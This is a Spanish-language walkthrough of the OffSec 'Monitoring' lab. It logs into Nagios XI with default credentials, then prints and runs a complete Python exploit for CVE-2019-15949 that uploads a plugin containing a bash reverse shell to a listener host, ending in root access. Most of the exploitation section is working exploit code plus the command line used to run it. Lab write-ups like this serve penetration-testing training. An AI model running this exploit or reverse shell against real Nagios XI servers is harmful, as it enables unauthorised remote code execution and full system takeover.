Monitoring
✍️ Autor: OffSec 🔍 Dificultad: Fácil
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.197.136
para verificar la conectividad de red.

A continuación, se realiza el comando:
nmap 192.168.197.136
para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como se puede observar durante el escaneo, los siguientes puertos se encuentran abiertos:
Puerto 22, correspondiente al servicio SSH.
Puerto 25, correspondiente al servicio SMTP.
Puerto 80, correspondiente al servicio HTTP.
Puerto 389, correspondiente al servicio LDAP.
Puerto 443, correspondiente al servicio HTTPS.
Dado que estos servicios están accesibles, se procederá a realizar un análisis más detallado sobre cada uno de ellos con el fin de identificar posibles vectores de ataque o configuraciones incorrectas.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,25,80,389,443 -v 192.168.197.136
para obtener más información sobre esos puertos específicamente.

Comprobamos el puerto 80.

Es una página de Nagios XI y al dar a acceder se nos muestra el panel de Login. Tras buscar las contraseñas por defecto nos logueamos (nagiosadmin:admin).

Revisando la página encontramos una versión por lo que miramos a ver si tiene un exploit.

🚀 EXPLOTACIÓN
Sí tiene exploit por lo que lo ejecutamos y así conseguimos una ejecución remota de código.
import argparse
import re
import requests
class Nagiosxi():
def __init__(self,target,parameter,username,password,lhost,lport):
self.url = target
self.parameter = parameter
self.username = username
self.password = password
self.lhost = lhost
self.lport = lport
self.login()
def upload(self,session):
requests.packages.urllib3.disable_warnings()
print("Uploading Malicious Check Ping Plugin")
upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
upload_token = session.get(upload_url,verify=False)
nsp = re.findall('var nsp_str = "(.*)";',upload_token.text)
print("Upload NSP Token: " + nsp[0])
payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
file_data = {
"upload":"1",
"nsp":nsp[0],
"MAX_FILE_SIZE":"20000000"
}
file_upload = {
"uploadedfile":("check_ping",payload,"application/octet-stream",{"Content-Disposition":"form-data"})
}
session.post(upload_url,data=file_data,files=file_upload,verify=False)
payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
session.get(payload_url,verify=False)
def login(self):
requests.packages.urllib3.disable_warnings()
print("Trying to log in")
session = requests.Session()
login_url = self.url + self.parameter + "/login.php"
token = session.get(login_url,verify=False)
nsp = re.findall('name="nsp" value="(.*)">',token.text)
print("Login NSP Token: " + nsp[0])
post_data = {
"nsp":nsp[0],
"page":"auth",
"debug":"",
"pageopt":"login",
"redirect":"",
"username":self.username,
"password":self.password,
"loginButton":""
}
login = session.post(login_url,data=post_data,verify=False)
if "Home Dashboard" in login.text:
print("Logged in!")
else:
print("Unable to login!")
self.upload(session)
if __name__=="__main__":
parser = argparse.ArgumentParser(description='CVE-2019â15949 Nagiosxi authenticated Remote Code Execution')
parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
parser.add_argument('-b', metavar='<Base Directory>',help="Example: -b /nagiosxi/", required=True)
parser.add_argument('-u', metavar='<Username>',help="Example: -a username", required=True)
parser.add_argument('-p', metavar='<Password>',help="Example: -p password", required=True)
parser.add_argument('-lh', metavar='<Listener IP>',help="Example: -lh 127.0.0.1", required=True)
parser.add_argument('-lp', metavar='<Listener Port>',help="Example: -lp 1337", required=True)
args = parser.parse_args()
try:
print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
Nagiosxi(args.t,args.b,args.u,args.p,args.lh,args.lp)
except KeyboardInterrupt:
print("\nBye Bye!")
exit()
Nos descargamos el exploit y lo ejecutamos.
python3 exploit.py -t http://192.168.197.136/ -b /nagiosxi/ -u nagiosadmin -p admin -lh 192.168.45.157-lp 4444

Mientras nos ponemos en escucha.

Hacemos el tratamiento de la TTY para trabajar más cómodos.
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoami
y sí somos root.

Last updated
Was this helpful?